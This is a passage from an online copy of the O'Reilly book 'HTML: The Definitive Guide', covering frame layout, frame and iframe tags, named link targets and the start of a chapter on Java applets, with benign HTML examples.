A richer frame document-enabled environment provides navigational tools for your document collections. For instance, assign one frame to hold a table of contents and various searching tools for the collection. Have another frame hold the user-selected document contents. As users visit your pages in the content frame, they never lose sight of the navigational aids in the other frame.

Another beneficial use of frame documents is to compare a returned HTML form with its original for verification of the content by the submitting user. By placing the form in one frame and its submitted result in another, you let the user quickly verify that the result corresponds to the data entered in the form. If the results are incorrect, the form is readily available to be filled out again.

Previous | Home | Next
An Overview of Frames | Book Index | Frame Layout
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.3 Frame Layout

HTML: The Definitive Guide

Previous Chapter 12
Frames 		Next

12.3 Frame Layout

Frame layout is similar to table layout. Using the <frameset> tag, you arrange frames into rows and columns while defining their relative or absolute sizes.

The <frameset> Tag

The <frameset> tag lets you define a collection of frames and control their spacing and borders.

<frameset>
Function:

Define a collection of frames

Attributes:

BORDER (Netscape)
BORDERCOLOR (Netscape)
COLS
FRAMEBORDER
FRAMESPACING (Internet Explorer)
ONBLUR
ONFOCUS
ONLOAD
ONUNLOAD
ROWS

End tag:

</frameset>; never omitted

Contains:

frameset_content

Used in:

html_content

Use the <frameset> tag to define a collection of frames and other framesets. Framesets also may be nested, allowing for a richer set of layout capabilities.

Use the <frameset> tag in lieu of a <body> tag in the frame document. You may not include any other content except valid <head> and <frameset> content in a frame document. Combining frames with a conventional document containing <body> may result in unpredictable browser behavior.

The rows and cols attributes

The <frameset> tag has one required attribute: either cols or rows--your choice. They define the size and number of columns (cols) or rows of either frames or nested framesets for the document window. Both attributes accept a quote-enclosed, comma-separated list of values that specify either the absolute (pixels) or relative (percentage or remaining space) width (for columns) or height (for rows) for the frames. The number of attribute values determines how many rows or columns of frames the browser will display in the document window.

As with tables, the browser will match the size you give a frameset as closely as possible. The browser will not, however, extend the boundaries of the main document window to accommodate framesets that would otherwise exceed those boundaries or fill the window with empty space if the specified frames don't fill the window. Rather, the browsers allocate space to a particular frame relative to all other frames in the row and column and resolutely fills the entire document window. (Did you notice a frame document window does not have scroll bars?)

For example,

<frameset rows="150,300,150">

creates three rows of frames, each extending across the entire document window. The first and last frames are set to 150 pixels tall, the second to 300 pixels. In reality, unless the browser window is exactly 600 pixels tall, the browser automatically and proportionately stretches or compresses the first and last frames so that each occupies one quarter of the window space. The center row occupies the remaining half of the window space.

Frame row and column size values expressed as a percentage of the window dimensions are more sensible. For instance, the following example is effectively identical to the previous one:

<frameset rows="25%,50%,25%">

Of course, if the percentages don't add up to 100 percent, the browser automatically and proportionally resizes each row to make up the difference.

If you are like us, making things add up is not a strength. Perhaps some of the frame designers suffer the same difficulty, which would explain why they included the very nifty asterisk option for <frameset> rows and cols values. It tells the browser to size the respective column or row to whatever space is left over after putting adjacent frames into the frameset.

For example, when the browser encounters the frame tag:

<frameset cols="100,*">

it makes a fixed-sized column 100 pixels wide, and then creates another frame column that occupies all of the remaining space in the frameset.

Here's a fancier layout example:

<frameset cols="10,*,10">

This one creates two very thin columns down the edges of the frameset and gives the remaining center portion to the middle column.

You may also use the asterisk for more than one row- or column-attribute value. In that case, the corresponding rows or columns equally divide the available space. For example,

<frameset rows="*,100,*">

creates a 100-pixel tall row in the middle of the frameset and equal-sized rows above and below it.

If you precede the asterisk with an integer value, the corresponding row or column gets proportionally more of the available space. For example,

<frameset cols="10%,3*,*,*">

creates four columns: the first column occupies 10 percent of the overall width of the frameset. The browser then gives the second three-fifths of the remaining space, and the third and the fourth are each given one-fifth of the remaining space.

Using asterisks (especially with the numeric prefix) makes it easy to divide up the remaining space in a frameset.

Be aware, too, that unless you explicitly tell it not to, the browser lets users manually resize the individual frame document's columns and rows, and hence change the relative proportions each frame occupies in their frames display. To prevent this, see the noresize attribute for the <frame> tag. [the section called "The <frame> Tag"]

Controlling frame borders and spacing

The lack of standards has given rise to a number of potentially conflicting attributes that you may use to define and change the borders surrounding the frames in a frameset.

Both Internet Explorer and Netscape use the frameborder attribute to disable or explicitly enable frame borders. (By default, every frame in a frameset as well as the frameset window itself is rendered with a 3D border; see Figure 12.1.) The two browsers' documentation disagree about the particular values for the frameborder attribute, but both acknowledge the other's conventions. Hence, setting the value of frameborder to 0 or no turns borders off (see Figure 12.2); 1 or yes turns borders on.

Figure 12.2: The frameborder attribute lets you remove the spacing between frames

[Graphic: Figure 12-2]

Internet Explorer and Netscape do disagree, however, as to how you may control the thickness of the borders. Internet Explorer supports the framespacing attribute, whose value is the number of pixels you want between frames (see Figure 12.2). The attribute affects all frames and framesets nested within the current frameset as displayed by Internet Explorer. In practice, you should set it once on the outermost <frameset> to create a consistent border appearance for all of the frames in a single page.

Netscape only accepts the border attribute to define the border width, with an integer value in pixels. Like Internet Explorer, Netscape allows you to include the frameborder attribute with any <frameset> tag, affecting all nested frames and framesets, but unlike Internet Explorer, Netscape restricts the border attribute to the outermost <frameset>, ensuring that all frame borders are the same width within that <frameset>.

Since browsers ignore unsupported attributes, it is possible to define frame borders so that both browsers do the right thing. Just make sure to use the same framespacing and border values.

Finally, with Netscape you can control the color of the frame borders using the bordercolor attribute (Figure 12.3). It accepts a color name or hexadecimal triple as its value. A complete list of color names and values can be found in Appendix F, Color Names and Values.

Figure 12.3: Netscape accepts border and bordercolor to control the color and spacing between frames

[Graphic: Figure 12-3]

Frames and JavaScript

Internet Explorer and Netscape support JavaScript-related event handlers that let your frame documents react when they are first loaded and when the frame window gets resized (onLoad); unloaded from the browser by the user (onUnload); when the window containing the frameset loses focus, such as when the user selects another window (onBlur); or when the frameset becomes the active window (onFocus). Included as <frameset> attributes, these event handlers take quote-enclosed lists of JavaScript commands and function calls as their value. For example, you might notify the user when all the contents have been loaded into their respective frames of a lengthy frameset:

<frameset onLoad="window.alert('Everything is loaded. You may now continue.')">

These four attributes may also be used with the <body> tag. We cover JavaScript in more detail in 13.3.3.

Nesting <frameset> Tags

You can create some elaborate browser displays with a single <frameset>, but the frame layout is unimaginative. Instead, create staggered frames and other more complex layouts with multiple <frameset> tags nested within a top-level <frameset> in the frame document.

For example, create a layout of two columns, the first with two rows and the second with three rows (Figure 12.4), by nesting two <frameset> tags with row specifications within a top-level <frameset> that specifies the columns:

<frameset cols="50%,*">
  <frameset rows="50%,*">
    <frame src="frame1.html">
    <frame src="frame2.html">
  </frameset>
  <frameset rows ="33%,33%,*">
    <frame src="frame3.html">
    <frame src="frame4.html">
    <frame src="frame5.html">
  </frameset>
</frameset>

Figure 12.4: Staggered frame layouts use nested <frameset> tags

[Graphic: Figure 12-4]

Previous | Home | Next
Frame Tags | Book Index | Frame Contents
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.4 Frame Contents

HTML: The Definitive Guide

Previous Chapter 12
Frames 		Next

12.4 Frame Contents

A frame document contains no displayable content, except perhaps a message for non-frame-enabled browsers (see <noframes> later in this chapter). Instead, <frame> tags inside the one or more <frameset> tags, which encapsulate the contents of a frame document, provide URL references to the individual documents that occupy each frame. [the section called "The <noframes> Tag"]

The <frame> Tag

The <frame> tag appears only within a <frameset>. Use it to set, via its associated src attribute, the URL of the document content that initially gets displayed inside the respective frame.

<frame>
Function:

Define a single frame in a <frameset>

Attributes:

BORDERCOLOR (Netscape)
FRAMEBORDER
MARGINHEIGHT
MARGINWIDTH
NAME
NORESIZE
SCROLLING
SRC

End tag:

</frame>; rarely included

Contains:

Nothing

Used in:

frameset_content

Frames are placed into a frameset column by column, from left to right, and then row by row, from top to bottom, so the sequence and number of <frame> tags inside the <frameset> tag are important.

The browser displays empty frames for <frame> tags that do not have a src attribute. It also displays empty frames if the <frameset> tag calls for more frames than the corresponding <frame> tags define. Such orphans remain empty; you cannot put content into them later, even if they have a target "name" for display redirection (see the section called "The name attribute").

The src attribute

The value of the src attribute for the <frame> tag is a URL of the document that is to be displayed in the frame. There is no other way to provide content for a frame. You shouldn't, for instance, include any <body> content within the frame document; the browser will ignore the frame tags and display just the contents of a <body> tag if it comes first, or vice versa.

The document referenced by the src attribute may be any valid HTML document or displayable object, including images and multimedia. In particular, the referenced document may itself be composed of one or more frames. The frames are displayed within the referencing frame, providing yet another way of achieving complex layouts using nested frames.

Since the source may be a complete HTML document, all the features of HTML apply within a frame, including backgrounds and colors, tables, fonts, and the like. Unfortunately, this also means that multiple frames in a single browser window may conflict with each other. Specifically, if each nested frame document (not a regular HTML document) has a different <title> tag, the title of the overall browser window will be the title of the most recently loaded frame document. The easiest way to avoid this problem is to ensure that all related frame documents use the same title.

The name attribute

The optional name attribute for the <frame> tag labels that frame for later reference by the target attribute for the hypertext link anchor <a> tag and the <form> tag. This way, you can alter the contents of a frame using a link in another frame. Otherwise, like normal browser windows, hypertext-linked documents replace the contents of the source frame. We discuss names and targets in greater length later in this chapter. [the section called "Named Frame or Window Targets"]

The value of the name attribute is a text string enclosed in quotation marks.

The noresize attribute

Even though you may explicitly set their dimensions with attributes in the <frameset> tag, users can manually alter the size of a column or row of frames. To suppress this behavior, add the noresize attribute to the frame tags in the row or column whose relative dimensions you do not want users fiddling with. For a two-by-two frame document, a noresize attribute in any one of the four associated frame tags will effectively freeze the relative proportions of all the frames, for example.

The noresize attribute is especially useful for frames that contain fixed images serving as advertisements, a button bar, or a logo. By fixing the size of the frame to contain just the image and setting the noresize attribute, you guarantee that the image will be displayed in the intended manner and that the remainder of the browser window will always be given over to the other frames in the document.

The scrolling attribute

The browser will display vertical and horizontal scrollbars with frames whose contents are larger than the allotted window space. If there is sufficient room for the content, the scrollbars disappear. The scrolling attribute for the <frame> tag gives you explicit control over whether the scroll bars appear or disappear.

With scrolling="yes", the browser adds scroll bars to the designated frame even if there is nothing to scroll. If you set the scrolling attribute value to no, scrollbars will never be added to the frame, even if the frame contents are larger than the frame itself. The value auto, supported only by Netscape, works as if you didn't include the scrolling attribute in the tag; Netscape adds scrollbars as needed. To achieve auto behavior in Internet Explorer, simply omit the scrolling attribute altogether.

The marginheight and marginwidth attributes

The browser normally places a small amount of space between the edge of a frame and its contents. You can change those margins with the marginheight and marginwidth attributes, each including a value for the exact number of pixels to place around the frame contents.

You cannot make a margin less than one pixel, or make it so large there is no room for the frame contents. That's because these attributes, like most other HTML ones, advise; they do not dictate to the browser. If your desired margin values cannot be accommodated, the browser ignores them and renders the frame as best it can.

The frameborder and bordercolor attributes

You may add or remove borders from a single frame with the frameborder attribute. Values of yes or 1 and no or 0 respectively enable or disable borders for the frame and override the value of the frameborder attribute for any frameset containing the frame.

Note that the browsers do react somewhat differently to border specifications. Netscape, for instance, removes an individual border only if adjacent frames sharing that border have borders turned off. Internet Explorer, in the other hand, will remove those adjacent borders, but only if they are not explicitly turned on in those adjacent frames. Our advice is to explicitly control the borders for each frame if you want to consistently control the borders for all frames across both browsers.

With Netscape only, you also can change the color of the individual frame's borders with the bordercolor attribute. Use a color name or hexadecimal triple as its value. If two adjacent frames have different bordercolor attributes, the resulting border color is undefined. A complete list of color names and values can be found in Appendix F, Color Names and Values.

Previous | Home | Next
Frame Layout | Book Index | The <noframes> Tag
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.5 The <noframes> Tag

HTML: The Definitive Guide

Previous Chapter 12
Frames 		Next

12.5 The <noframes> Tag

A frame document has no <body>. In fact, it must not, since the browser will ignore any frame tags if it finds any <body> content before it encounters the first <frameset> tag. A frame document, therefore, is all but invisible to any non-frame capable browser. The <noframes> tag gives some relief to the frame-disabled.

<noframes>
Function:

Supply content for nonframe-compatible browsers

Attributes:

None

End tag:

</noframes>; sometimes omitted

Contains:

body_content

Used in:

frameset_content

Use the <noframes> tag only within the outermost <frameset> tag of a frame document. The content inside the <noframes> tag and its required end tag (</noframes>) is not displayed by any frame-capable browser, but is displayed in lieu of other contents in the frame document by browsers that do not handle frames. The contents of the <noframes> tag can be any normal HTML body content, including the <body> tag itself.

Although this tag is optional, experienced HTML authors typically include the <noframes> tag in their frame documents with content that warns a frame-incompatible browser user that they're missing the show. And smart authors will give those users a way out, if not direct access to the individual documents that make up the frame document contents. Remember our first frame example in this chapter? Figure 12.5 shows what happens when that frame document gets loaded into an old version of Mosaic.

Figure 12.5: A <noframes> message in a nonframe-capable browser

[Graphic: Figure 12-5]

<noframes>
  Sorry, this document can be viewed only with Netscape
  Navigator version 1.2 or later.
  <a href="frame1.html">Take this link</a>
  to the first HTML document in the set.
</noframes>

The reason <noframes> works is that most browsers are extremely tolerant of erroneous tags and incorrect documents. A nonframe browser simply ignores the frame tags. What's left, then, is the content of the <noframes> tag, which the browser dutifully displays.

If your browser strictly enforces some version of HTML that does not support frames, it may simply display an error message and refuse to display the document, even if it contains a <noframes> tag.

Previous | Home | Next
Frame Contents | Book Index | Inline Frames
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.6 Inline Frames

HTML: The Definitive Guide

Previous Chapter 12
Frames 		Next

12.6 Inline Frames

To this point, our discussion has centered around frames that are defined as part of a frameset. A frameset, in turn, replaces the conventional <body> of a document and supplies content to the user via its contained frames.

Internet Explorer let you do things a bit differently: You also can define a frame that exists within a conventional document, displayed as part of that document's text flow. These frames behave a lot like inline images, which is why they are known as inline frames.

The <iframe> Tag

Define an inline frame with the <iframe> tag.

<iframe> (Internet Explorer)
Function:

Define an inline frame within a text flow

Attributes:

ALIGN
FRAMEBORDER
HEIGHT
MARGINHEIGHT
MARGINWIDTH
NAME
SCROLLING
SRC
WIDTH

End tag:

</iframe>; never omitted

Contains:

body_content

Used in:

text

The <iframe> tag is not used within a <frameset> tag. Instead, it appears anywhere in your document that an <img> tag could appear. The tag defines a rectangular region within the document in which the browser displays a separate HTML document, including scrollbars and borders.

Most of the attributes for the <iframe> tag, including the frameborder, marginheight, marginwidth, name, scrolling, and src attributes, behave exactly as the corresponding attributes for the <frame> tag. For further information on these attributes, see the section called "The <frame> Tag".

Use the content of the <iframe> tag to provide information to users of browsers other than Internet Explorer. Internet Explorer ignores these contents whereas all other browsers ignore the <iframe> tag and therefore display its contents as if it were regular body content. For instance, use the <iframe> content to explain to non-Internet Explorer users what they are missing:

...other document content
<iframe src="sidebar.html" width=75 height=200 align=right>
Your browser does not support inline frames.  To view this
<a href="sidebar.html">document</a> correctly, you'll need
a copy of Internet Explorer.
</iframe>
...subsequent document content

In this example, we let the user know that they were accessing an unsupported feature, and provided a link to the missing content.

The align attribute

Like the align attribute for the <img> tag, this inline frame attribute lets you control where the frame gets placed inline with the adjacent text or moved to the edge of the document, allowing text to flow around the frame. [the section called "The align attribute"]

For inline alignment, use top, middle, or bottom as the value of this attribute. The frame will be aligned with the top, middle, or bottom of the adjacent text, respectively.

To allow text to flow around the inline frame, use the left or right values for this attribute. The frame will be moved to the left or right edge of the text flow, respectively, and the remaining content of the document will be flowed around the frame. This behavior is exactly like that of images whose align attribute has been set to left or right.

The height and width attributes

Internet Explorer puts the contents of an inline frame into a predefined, 150 pixel-tall, 300 pixel-wide box. Use the height and width attributes with values as the number of pixels to change those dimensions.

Using Inline Frames

Although you probably will shy away from inline frames for most of your web pages, they can be useful, particularly for providing information related to the current document being viewed, similar to the sidebar articles you'd find in a conventional printed publication. Unfortunately, a large component of your audience will not be able to view the inline frames, so make sure you include appropriate alternative content within the <iframe> and </iframe> tags to help those less fortunate viewers find the frame contents.

Except for their location within conventional document content, inline frames are treated exactly like regular frames. You can load other documents into the inline frame using its name (see following section) and link to other documents from within the inline frame.

Previous | Home | Next
The <noframes> Tag | Book Index | Named Frame or Window Targets
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.7 Named Frame or Window Targets

HTML: The Definitive Guide

Previous Chapter 12
Frames 		Next

12.7 Named Frame or Window Targets

As we discussed in the <frame> tag description section, you can label a frame by adding the name attribute to its <frame> tag. Once named, the frame may become the destination display window for a hypertext-linked document selected within a document displayed in some other frame. You accomplish this redirection by adding the special target attribute to the anchor that references the document.

The target Attribute for the <a> Tag

If you include a target attribute within an <a> tag, the browser will load and display the document named in the tag's href attribute in a frame or window whose name matches the target. If the named frame or window doesn't exist, the browser will open a new window, give it the specified name, and load the new document into that window. Thereafter, hypertext-linked documents that target that name will load into the new window.

Targeted hypertext links makes it easy to create effective navigational tools. A simple table of contents document, for example, might redirect documents into a separate window:

<h3>Table of Contents</h3>
<ul>
  <li><a href="pref.html" target="view_window">Preface</a>
  <li><a href="chap1.html" target="view_window">Chapter 1</a>
  <li><a href="chap2.html" target="view_window">Chapter 2</a>
  <li><a href="chap3.html" target="view_window">Chapter 3</a>
</ul>

The first time the user clicks one of the table of contents hypertext links, the browser will open a new window, name it "view_window," and display the desired document's contents inside it. If the user selects another link from the example table of contents and the "view_window" is still open, the browser will again load the selected document into that window, replacing the previous document.

Throughout the whole process, the window containing the table of contents is accessible to the user. By clicking on a link in one window, the user causes the contents of the other window to change.

Similarly, you can place the table of contents into one frame of a two-frame document and use the adjacent frame for display of the selected documents:

<frameset cols="150,*">
  <frame src="toc.html">
  <frame src="pref.html" name="view_frame">
</frameset>

When the browser initially displays the two frames, the left frame contains the table of contents, and the right frame contains the preface (see Figure 12.6).

Figure 12.6: Table of contents frame controls content of adjacent frame

[Graphic: Figure 12-6]

When a user selects a link from the table of contents in the left frame (for example, Chapter 1), the browser loads and displays the associated document into the "view_frame" frame on the right side (Figure 12.7). As other links are selected, the right frame's contents change, while the left frame continuously makes the table of contents available to the user.

Figure 12.7: Chapter 1's contents are displayed in the adjacent frame

[Graphic: Figure 12-7]

Special Targets

There are four reserved target names for special document redirection actions:

_blank

The browser always loads a target="_blank" linked document into a newly opened, unnamed window.

_self

This target value is the default for all <a> tags that do not specify a target, causing the target document to be loaded and displayed in the same frame or window as the source document. This target is redundant and unnecessary unless used in combination with the target attribute in the <base> tag in a document's head (see below).

_parent

The _parent target causes the document to be loaded into the parent window or frameset containing the frame containing the hypertext reference. If the reference is in a window or top-level frame, it is equivalent to the target _self.

A brief example may help clarify how this link works. Consider a link in a frame that is part of a three-column frameset. This frameset, in turn, is a row in the top-level frameset being displayed in the browser window. This arrangement is shown in Figure 12.8.

If no target is specified for the hypertext link, it is loaded into the containing frame. If a target of _parent is specified, the document is loaded into the area occupied by the three-column frameset containing the frame that contains the link.

_top

This target causes the document to be loaded into the window containing the hypertext link, replacing any frames currently displayed in the window.

Continuing with the frame hierarchy shown in Figure 12.8, using a target of _top would remove all the contained frames and load the document into the entire browser window.

Figure 12.8: Using special hypertext targets in nested frames and framesets

[Graphic: Figure 12-8]

All four of these names begin with the underscore character. Any other window or target name beginning with an underscore is ignored by the browser. Don't use the underscore as the first character of the name of any frame you define in your documents.

The <base> Default Target

It can be tedious to specify a target for every hypertext link in your documents, especially when most are targeted at the same window or frame. To alleviate this problem, you can add a target attribute to the <base> tag. [the section called "The <base> Header Element"]

The target attribute in the <base> tag sets the default target for every hypertext link in the current document that does not contain an explicit target attribute. For example, in our example table of contents document, almost every link causes the document to be displayed in another window named "view_frame." Rather than include that target in each hypertext link, you should place the common target in the table of contents' <base> tag within its <head>:

<html>
<head>
<title>Table of Contents</title>
<base target="view_frame">
</head>
<body>
<h3>Table of Contents</h3>
<ul>
  <li><a href="pref.html">Preface</a>
  <li><a href="chap1.html">Chapter 1</a>
  <li><a href="chap2.html" >Chapter 2</a>
  <li><a href="chap3.html">Chapter 3</a>
</ul>
</body>
</html>

Notice that we don't include any other target references in the list of hyperlinks, because the browser will load and display all the respective documents in the base target "view_frame."

Traditional link behavior

Before the onset of frames, each time you clicked on a hyperlink, the corresponding document replaced the contents of the browser window. With frames, this behavior is modified so that the corresponding document replaces the content of the referencing frame. This is often not the desired behavior and can be disconcerting to people browsing your documents.

For example, suppose you have arranged all of the documents on your site to present themselves in three frames: a navigational frame at the top of the browser window, a scrolling content frame in the middle, and a feedback form at the bottom. You named the content frame with the name attribute of the <frame> tag in the top-level document for your collection and used the target attribute of the <base> tag in every document on your site to ensure that all links will be loaded into the center content frame.

This arrangement works perfectly for all the documents on your site, but what happens when a user selects a link that takes them to a different site? The referenced document will still be loaded into the center content frame. Now the user is confronted by a document from some other site, surrounded by your navigation and feedback frames!

The solution is to make sure that every hypertext link that references a remote document has a target of _top. This way, when someone selects a link that takes them away from your site, the remote document will replace the contents of the entire browser window, including your navigation and feedback frames. If the majority of the links in your documents are to other sites, you might consider adding target="_top" to a <base> tag in your document, and using explicit target attributes in the links to your local documents.

Previous | Home | Next
Inline Frames | Book Index | Executable Content
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 13] Executable Content

HTML: The Definitive Guide

Previous Chapter 13 Next

13. Executable Content

Contents:
Applets
Embedded Content
JavaScript
JavaScript Style Sheets

Truth be told, pure HTML is like a comic book in a world full of Saturday morning cartoons. Save for the occasional animated GIF image, a pure HTML page, although attractive, is a static presentation of text and images. HTML documents need not be limited like the print medium. The Web is a digital dynamo of animation and processing activity, spread over the worldwide Internet. And, with recent innovations, HTML can shimmy, too.

To spice up those otherwise dull pages, a number of HTML tags exist solely to inject dynamic content into your pages. Commonly known as an applet or script, and embedded into the HTML document, these programs get delivered to your browser and executed in any of several different ways. During execution, the applets and scripts may generate dynamic HTML content, interact with the user, validate form data, or even create windows and run entire applications independent of your HTML pages. The possibilities are endless, and go far beyond the document model originally envisioned for HTML.

In this chapter, we describe how dynamic content can augment your HTML documents. We'll show you, with simple examples, how to embed and include executable content--scripts and applets--in your HTML documents. We won't, however, even begin to pretend to teach you how to write and debug your own applet programs. This is a book about HTML, after all. Rather, get an expert opinion: turn to any of the many excellent texts from O'Reilly, including JavaScript: The Definitive Guide, Java in a Nutshell, and Exploring Java.

13.1 Applets

One of the most exciting recent developments in web technologies is the ability to deliver applications directly to the user's browser, where they are executed on the client machine. These applications are typically small tools--hence the term "applet"--that perform simple tasks on the client computer, including a variety of HTML page display enhancements.

Applets, like client-side image maps, represent a shift in the basic model of web communications. Until recently, servers performed most of the computational work on the Web; client browsers being not much more than glorified terminals. With applets and client-side image maps, Web technology is shifting toward the client, distributing some or all of the computational load from the server to the client and browser.

Applets also represent a way of extending a browser's features without forcing users to purchase or otherwise acquire a new browser, as is the case when developers implement new tag and attribute extensions to HTML. Nor do users have to acquire and install a special application, as is required for helper or plugin applications. This means that once users have a browser that supports applets, you can deliver browser extensions immediately, including HTML display and multimedia innovations.

The Applet Model

Applets are like other accessory parts of an HTML document. The browser first loads the HTML page, examines it for special tags that identify applets, which, like other Web resources you identified with a URL, and retrieves the applet via the normal HTTP protocol.

Once downloaded, the browser provides a portion of the document display space for the applet to use as its own display space. You may control the size and position of this display area; the applet controls what is presented inside.

During execution, the applet has access to a restricted environment within the user's computer. For instance, applets have access to the mouse and keyboard, and may receive input from the user. They can initiate network connections and retrieve data from other servers on the Internet. In sum, applets are full-fledged programs, complete with a variety of input and output mechanisms, along with a full suite of network services.

Several applets may be placed in a single document; they all execute in parallel and may communicate with each other. While the browser may limit their access to its computer system, applets have complete control of their virtual environment within the browser.

The Applet Advantage

There are several advantages of applets, not the least of which is providing more compelling user interfaces within a web page. For instance, an applet might create a unique set of menus, choices, text fields, and similar user-input tools different from those available through the browser. When the user clicks a button within the applet's interaction/display region, the applet might respond by displaying results within the region, signaling another applet, or even by loading a completely new page into the browser.

We don't mean to imply that the only use of applets is to enhance the user interface. An applet is a full-fledged program that can perform any number of computational and user-interactive tasks on the client computer. An applet might implement a real-time video display, or perform circuit simulation, or engage the user in a game, and so on.

Using Applets Correctly

An applet is nothing more than another tool you may use to produce compelling and useful web pages. Keep in mind that an applet uses computational resources on the client to run and therefore places a load on the user's computer. It can degrade system performance.

Similarly, if an applet uses a lot of network bandwidth to accomplish its task (a real-time video feed, for example), it may make other network communication unbearably slow. While such applications are fun, they do little more than annoy your target audience.

To use an applet correctly, balance the load between the browser and the server. For each page, decide which tasks are best left to the server (forms processing, index searches, and the like) and which tasks are better suited for local processing (user interface enhancements, real-time data presentation, small animations, input validation, and so on). Divide the processing accordingly. Remember that many users have slower network connections and computers than you do and design your applets to satisfy the majority of your audience.

Used the right way, applets seamlessly enhance your pages and provide a satisfying experience for your audience. Used improperly, applets are just another annoying bandwidth waster, alienating your users and hurting your pages.

Writing Applets

Creating applets is a programming task, not usually a job for the HTML author, and certainly way beyond the scope of this book. For details, we recommend you consult any of the many applet programming texts that have recently appeared on bookshelves everywhere, including those from O'Reilly & Associates.

Today, one language dominates the applet programming world: Java. Developed by Sun Microsystems of Mountain View, California, Java supports an object-oriented programming style wherein classes of applets can be used and reused to build complex applications.

By invention, applets built from the same language should run with any browser that supports them. In reality, certain Microsoft implementation decisions have caused some valid Java applets to fail when running on Internet Explorer. Hopefully, Microsoft will fix these problems and Java will remain a universal programming language for the Web. In any case, the conscientious Java programmer should keep abreast of the latest technology and create applets that are certifiably 100% pure Java. Microsoft, in particular, is trying to get programmers to use proprietary extensions to Java that will work on only Microsoft platforms. We recommend avoiding any vendor extensions to Java that deviate from the standard Java 1.1 version currently in widespread use.

We should take this opportunity to also mention ActiveX, an alternative applet programming technology available only from Microsoft. ActiveX is proprietary, closely coupled to various versions of Microsoft Windows, and is only fully functional when used with Internet Explorer. ActiveX applets will run on versions of Internet Explorer targeted to various versions of Windows, but a single ActiveX applet will not run on these different versions without recompilation. This is in contrast with Java applets, where a single Java applet can be written and compiled once and immediately run on a broad range of browsers and operating systems.

ActiveX also presents an unacceptably high security risk to any user whose browser supports ActiveX technology. It is ridiculously easy to penetrate and damage a computer running a browser that allows ActiveX applets to be executed. For this reason, we cannot recommend ActiveX as a viable applet implementation technology and we go so far as to recommend that users disable ActiveX capability within their browser--specifically, Internet Explorer.

The <applet> Tag

Use the <applet> tag within your HTML document to name the applet that the browser should download and execute. Also, use the tag to define a region within the document display for the applet's display area. You may also supply alternative content within the <applet> tag for display by browsers that do not support applets.

<applet>
Function:

Insert an application into the current text flow

Attributes:

ALIGN
ALT
ARCHIVE (Netscape)
CODE
CODEBASE
HEIGHT
HSPACE
MAYSCRIPT
NAME
TITLE (Internet Explorer)
VSPACE
WIDTH

End tag:

</applet>; never omitted

Contains:

applet_content

Used in:

text

Code is the only required attribute. It identifies the class name of the Java program.

The browser inserts the applet display region into the containing text flow exactly like an inline image: without line breaks and as a single large entity. The browser downloads and executes the applet just after download and display of the HTML document, and continues execution until the code terminates itself or when the user stops viewing the page containing the applet.

Most applets require one or more parameters that you supply in the HTML document to control their execution. Put these parameters between the <applet> tag and its corresponding </applet> end tag using the <param> tag. The browser passes the document-specific parameters to the applet at time of execution. [the section called "The <param> Tag"]

The align attribute

Like an image, you may control the alignment of an applet's display region with respect to its surrounding text. In fact, the <applet> tag's align attribute honors all the alignment values used by the <img> tag, including top, texttop, middle, absmiddle, baseline, bottom, and absbottom, as well as left and right alignments for wrap-around content. [the section called "The align attribute"]

The alt attribute

The alt attribute gives you a way to tell users gracefully that something is missing if, for some reason, the applet cannot or will not execute on their computer. Its value is a quote-enclosed message string that, like the alt attribute for images, gets displayed in lieu of the applet itself.

The alt message is only for browsers that support applets. See 13.1.5.11 to find out how to inform users of applet-incapable browsers why they can't view an applet.

The archive attribute

Supported only by Netscape, the archive attribute lets you collect common Java classes into a single library that is cached on the user's local disk. Once cached, the browser doesn't need to use the network to access an applet; it retrieves the software from the local cache, thereby reducing the inherent delays of additional network activity to load the class.

The value of the archive attribute is a URL identifying the archive file. The suffix of the archive filename may be either .zip or .jar. .zip files are in the familiar ZIP archive format, generated by PKZIP and many other utilities. .jar files are in the new Java archive format; currently, support for .jar files is spotty at best, but they will become more widespread. .jar files support compression and some advanced features like digital signatures.

You may use the archive attribute with any <applet> tag, even if the class referenced by the tag's code attribute does not exist in the archive. If the class is not found in the archive, the browser simply attempts to retrieve the class relative to the document URL or the codebase URL, if specified.

The code attribute

The code attribute is required. Use it to specify the filename of the Java class to be executed by the browser. Note that this is not a URL; the browser assumes the applet file is in the same directory as the host HTML document. To make the search relative to another storage location, use the codebase attribute described in 13.1.5.5 or an archive, as described above. Also, the extension suffix of the filename should be .class. If you don't include the suffix, some browsers automatically will append .class when searching for the applet.

For example, to execute a clock Java applet contained in a file named clock.class, you might include in your HTML document the code:

<applet code=clock.class>
</applet>

The browser will locate the code for the applet using the current document's base URL. Hence, if the current document's URL is:

http://www.kumquat.com/harvest_time.html

the browser will retrieve the applet code for our clock class example above as:

http://www.kumquat.com/clock.class

The codebase attribute

Use the codebase attribute to provide an alternative base URL from which the browser will retrieve an applet file. The value of this attribute is a URL pointing to a directory containing the class defined by the code attribute. The codebase URL overrides, but does not permanently replace, the document's base URL, which is the default if you don't use codebase. [the section called "Referencing Documents: The URL"]

Continuing with our previous examples, suppose your document came from http://www.kumquat.com, but the clock applet is kept in a separate directory named classes. You cannot retrieve the applet by specifying code=classes/clock.class. Rather, include the codebase attribute and new base URL:

<applet code=clock.class codebase="http://www.kumquat.com/classes/">
</applet>

which resolves to the URL:

http://www.kumquat.com/classes/clock.class

Although we used an absolute URL in this example, you also can use a relative URL. For instance, in most cases the applets are stored on the same server as the host HTML documents, so we'd usually be better off, for relocation's sake, specifying a relative URL for the codebase, such as:

<applet code=clock.class codebase="/classes/">
</applet>

The name attribute

The name attribute lets you supply a unique name for this instance of the code class--the copy of the applet that runs on the individual user's computer. Like other named elements in your HTML document, providing a name for the applet lets other parts of your HTML document, including other applets, reference and interact with this one, such as sharing computed results.

For example, suppose you have two clock applets in your document, along with two applets the user operates to set those clocks. Provide unique names for the clock applets using the name attribute, then pass those names to the setting applets using the <param> tag, which we discuss later in this chapter:

<applet code=clock.class name=clock1>
</applet>
<applet code=clock.class name=clock2>
</applet>
<applet code=setter.class>
